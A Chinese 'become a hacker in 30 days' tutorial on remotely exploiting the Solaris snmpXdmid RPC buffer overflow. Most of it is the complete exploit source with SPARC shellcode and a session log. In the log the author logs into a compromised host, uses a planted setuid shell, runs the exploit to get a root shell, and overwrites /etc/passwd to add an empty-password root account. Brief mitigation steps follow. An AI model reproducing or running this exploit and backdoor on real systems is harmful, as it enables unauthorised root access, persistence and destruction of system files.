30天教你当红客『第27天』Sunos（二）

王梦瑶

接着昨天的，今天，我们来看看Sunos的远程溢出。
　
本次范例需要的系统及程序情况如下：
操作系统：Window2000 To Sunos 5.8
对方操作系统：Sunos 5.8
程序（一）：snmpxdmid.c
本机IP：127.0.0.1
测试IP：127.0.0.29
新程序说明：“snmpxdmid.c”是利用Rpc的snmpxdmid服务写的exploit。
Solaris snmpXdmid 远程缓冲区溢出漏洞：
Solaris 2.6/7/8三个版本都携带了一个名为snmpXdmid的RPC服务，这个服务主要用
于在SNMP管理请求和DMI请求之间建立一种映射/转换关系。
在 UXIX 中，Desktop Management Interface (DMI) 和 SNMP 是两个协调工作的远程管理协议。Sun Microsystems 创建了SNMPxDMID（/usr/lib/dmi/snmpXdmid）映射守护进程来连接这两个协议。此守护进程传输 SNMP 请求给 DMI，但是发现它在处理‘INDICATION’时存在缓冲区溢出问题。本地和远程攻击者利用此漏洞能获得超级用户特权。

测试开始：
telnet ***.***.***.***
* telnet上我的肉鸡。
SunOS 5.8
login: cnhack
Password:
Last login: Sun Jul 29 19:37:19 from 127.0.0.1
Sun Microsystems Inc. SunOS 5.8 Generic February 2000
$
$./usr/man/man5/shell
#
* 取得root权限。
# cat > snmpxdmid.c
* 把exploit贴到主机上。
/*## copyright LAST STAGE OF DELIRIUM mar 2001 poland *://lsd-pl.net/ #*/
/*## snmpXdmid #*/
/* as the final jump to the assembly code is made to the heap area, this code */
/* also works against machines with non-exec stack protection turned on */
/* due to large data transfers of about 128KB, the code may need some time to */
/* proceed, so be patient */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <rpc/rpc.h>
#include <netdb.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
#define SNMPXDMID_PROG 100249
#define SNMPXDMID_VERS 0x1
#define SNMPXDMID_ADDCOMPONENT 0x101
char findsckcode[]=
"\x20\xbf\xff\xff" /* bn,a <findsckcode-4> */
"\x20\xbf\xff\xff" /* bn,a <findsckcode> */
"\x7f\xff\xff\xff" /* call <findsckcode+4> */
"\x33\x02\x12\x34"
"\xa0\x10\x20\xff" /* mov 0xff,%l0 */
"\xa2\x10\x20\x54" /* mov 0x54,%l1 */
"\xa4\x03\xff\xd0" /* add %o7,-48,%l2 */
"\xaa\x03\xe0\x28" /* add %o7,40,%l5 */
"\x81\xc5\x60\x08" /* jmp %l5+8 */
"\xc0\x2b\xe0\x04" /* stb %g0,[%o7+4] */
"\xe6\x03\xff\xd0" /* ld [%o7-48],%l3 */
"\xe8\x03\xe0\x04" /* ld [%o7+4],%l4 */
"\xa8\xa4\xc0\x14" /* subcc %l3,%l4,%l4 */
"\x02\xbf\xff\xfb" /* bz <findsckcode+32> */
"\xaa\x03\xe0\x5c" /* add %o7,92,%l5 */
"\xe2\x23\xff\xc4" /* st %l1,[%o7-60] */
"\xe2\x23\xff\xc8" /* st %l1,[%o7-56] */
"\xe4\x23\xff\xcc" /* st %l2,[%o7-52] */
"\x90\x04\x20\x01" /* add %l0,1,%o0 */
"\xa7\x2c\x60\x08" /* sll %l1,8,%l3 */
"\x92\x14\xe0\x91" /* or %l3,0x91,%o1 */
"\x94\x03\xff\xc4" /* add %o7,-60,%o2 */
"\x82\x10\x20\x36" /* mov 0x36,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"\x1a\xbf\xff\xf1" /* bcc <findsckcode+36> */
"\xa0\xa4\x20\x01" /* deccc %l0 */
"\x12\xbf\xff\xf5" /* bne <findsckcode+60> */
"\xa6\x10\x20\x03" /* mov 0x03,%l3 */
"\x90\x04\x20\x02" /* add %l0,2,%o0 */
"\x92\x10\x20\x09" /* mov 0x09,%o1 */
"\x94\x04\xff\xff" /* add %l3,-1,%o2 */
"\x82\x10\x20\x3e" /* mov 0x3e,%g1 */
"\xa6\x84\xff\xff" /* addcc %l3,-1,%l3 */
"\x12\xbf\xff\xfb" /* bne <findsckcode+112> */
"\x91\xd0\x20\x08" /* ta 8 */
;
char shellcode[]=
"\x20\xbf\xff\xff" /* bn,a <shellcode-4> */
"\x20\xbf\xff\xff" /* bn,a <shellcode> */
"\x7f\xff\xff\xff" /* call <shellcode+4> */
"\x90\x03\xe0\x20" /* add %o7,32,%o0 */
"\x92\x02\x20\x10" /* add %o0,16,%o1 */
"\xc0\x22\x20\x08" /* st %g0,[%o0+8] */
"\xd0\x22\x20\x10" /* st %o0,[%o0+16] */
"\xc0\x22\x20\x14" /* st %g0,[%o0+20] */
"\x82\x10\x20\x0b" /* mov 0x0b,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"/bin/ksh"
;
static char nop[]="\x80\x1c\x40\x11";
typedef struct{
struct{unsigned int len;char *val;}name;
struct{unsigned int len;char *val;}pragma;
}req_t;
bool_t xdr_req(XDR *xdrs,req_t *objp){
char *v=NULL;unsigned long l=0;int b=1;
if(!xdr_u_long(xdrs,&l)) return(FALSE);
if(!xdr_pointer(xdrs,&v,0,(xdrproc_t)NULL)) return(FALSE);
if(!xdr_bool(xdrs,&b)) return(FALSE);
if(!xdr_u_long(xdrs,&l)) return(FALSE);
if(!xdr_bool(xdrs,&b)) return(FALSE);
if(!xdr_array(xdrs,&objp->name.val,&objp->name.len,~0,sizeof(char),
(xdrproc_t)xdr_char)) return(FALSE);
if(!xdr_bool(xdrs,&b)) return(FALSE);
if(!xdr_array(xdrs,&objp->pragma.val,&objp->pragma.len,~0,sizeof(char),
(xdrproc_t)xdr_char)) return(FALSE);
if(!xdr_pointer(xdrs,&v,0,(xdrproc_t)NULL)) return(FALSE);
if(!xdr_u_long(xdrs,&l)) return(FALSE);
return(TRUE);
}
main(int argc,char **argv){
char buffer[140000],address[4],pch[4],*b;
int i,c,n,vers=-1,port=0,sck;
CLIENT *cl;enum clnt_stat stat;
struct hostent *hp;
struct sockaddr_in adr;
struct timeval tm={10,0};
req_t req;
printf("copyright LAST STAGE OF DELIRIUM mar 2001 poland //lsd-pl.net/\n");
printf("snmpXdmid for solaris 2.7 2.8 sparc\n\n");
if(argc<2){
printf("usage: %s address [-p port] -v 7|8\n",argv[0]);
exit(-1);
}
while((c=getopt(argc-1,&argv[1],"p:v:"))!=-1){case 'p': port=atoi(optarg);break;
case 'v': vers=atoi(optarg);
}
}case 7: *(unsigned int*)address=0x000b1868;break;
case 8: *(unsigned int*)address=0x000cf2c0;break;
default: exit(-1);
}
*(unsigned long*)pch=htonl(*(unsigned int*)address+32000);
*(unsigned long*)address=htonl(*(unsigned int*)address+64000+32000);
printf("adr=0x%08x timeout=%d ",ntohl(*(unsigned long*)address),tm.tv_sec);
fflush(stdout);
adr.sin_family=AF_INET;
adr.sin_port=htons(port);
if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
if((hp=gethostbyname(argv[1]))==NULL){
errno=EADDRNOTAVAIL;perror("error");exit(-1);
}
memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
}
sck=RPC_ANYSOCK;
if(!(cl=clnttcp_create(&adr,SNMPXDMID_PROG,SNMPXDMID_VERS,&sck,0,0))){
clnt_pcreateerror("error");exit(-1);
}
cl->cl_auth=authunix_create("localhost",0,0,0,NULL);
i=sizeof(struct sockaddr_in);
if(getsockname(sck,(struct sockaddr*)&adr,&i)==-1){
struct{unsigned int maxlen;unsigned int len;char *buf;}nb;
ioctl(sck,(('S'<<8)|2),"sockmod");
nb.maxlen=0xffff;
nb.len=sizeof(struct sockaddr_in);;
nb.buf=(char*)&adr;
ioctl(sck,(('T'<<8)|144),&nb);
}
n=ntohs(adr.sin_port);
printf("port=%d connected! ",n);fflush(stdout);
findsckcode[12+2]=(unsigned char)((n&0xff00)>>8);
findsckcode[12+3]=(unsigned char)(n&0xff);
b=&buffer[0];
for(i=0;i<1248;i++) *b++=pch[i%4];
for(i=0;i<352;i++) *b++=address[i%4];
*b=0;
b=&buffer[10000];
for(i=0;i<64000;i++) *b++=0;
for(i=0;i<64000-188;i++) *b++=nop[i%4];
for(i=0;i<strlen(findsckcode);i++) *b++=findsckcode[i];
for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
*b=0;
req.name.len=1200+400+4;
req.name.val=&buffer[0];
req.pragma.len=128000+4;
req.pragma.val=&buffer[10000];
stat=clnt_call(cl,SNMPXDMID_ADDCOMPONENT,xdr_req,&req,xdr_void,NULL,tm);
if(stat==RPC_SUCCESS) {printf("\nerror: not vulnerable\n");exit(-1);}
printf("sent!\n");
write(sck,"/bin/uname -a\n",14);
while(1){
fd_set fds;
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(sck,&fds);
if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)){
int cnt;
char buf[1024];
if(FD_ISSET(0,&fds)){
if((cnt=read(0,buf,1024))<1){
if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
else break;
}
write(sck,buf,cnt);
}
if(FD_ISSET(sck,&fds)){
if((cnt=read(sck,buf,1024))<1){
if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
else break;
}
write(1,buf,cnt);
}
}
}
}

^D
　
# gcc -o snmpxdmid snmpxdmid.c  -lnsl –lsocket
* 编译exploit。
snmp.c: In function `main':
snmp.c:135: warning: assignment makes pointer from integer without a cast
snmp.c:172: warning: passing arg 4 of pointer to function from incompatible pointer type
# ./snmpxdmid
* 运行exploit。
copyright LAST STAGE OF DELIRIUM mar 2001 poland //lsd-pl.net/
snmpXdmid for solaris 2.7 2.8 sparc
usage: ./snmpxdmid  address [-p port] -v 7|8
#./snmpxdmid 127.0.0.29 –v 8
* 溢出。
* 说明：
* address：主机IP地址。
* [-p port]：溢出端口。
* -v 7|8：solaris 2.7 （Sunos 5.7）或者solaris 2.8（Sunos 5.8）
copyright LAST STAGE OF DELIRIUM mar 2001 poland //lsd-pl.net/
snmpXdmid for solaris 2.7 2.8 sparc
adr=0x000c8f68 timeout=30 port=928 connected!
sent!
SunOS business 5.8 Generic_108528-03 sun4u sparc SUNW,Ultra-250
* 溢出成功。
id
uid=0(root) gid=0(root)
* 取得root权限。
echo "cnhack::1:0::/:/bin/bash" > /etc/passwd
* 添加一个用户名为cnhack，密码为空的管理员。
telnet localhost
* telnet主机：127.0.0.29
Trying 127.0.0.1...
Connected to localhost. Escape character is '^]'.
SunOS 5.8
login: cnhack
Password:
Last login: Sun Jul 29 19:37:19 from 127.0.0.1
Sun Microsystems Inc. SunOS 5.8 Generic February 2000
$
……
解决方法：
1) 将 /etc/rc .d/S dmi 重命为 /etc/rc .d/K07dmi （此处  代表对应运行级）；再执行命令：/etc/init.d/init.dmi stop
2) 保险起见，可改变其用户权限： chmod 000 /usr/lib/dmi/snmpXdmid


好了，快通知管理员打上补丁吧^_^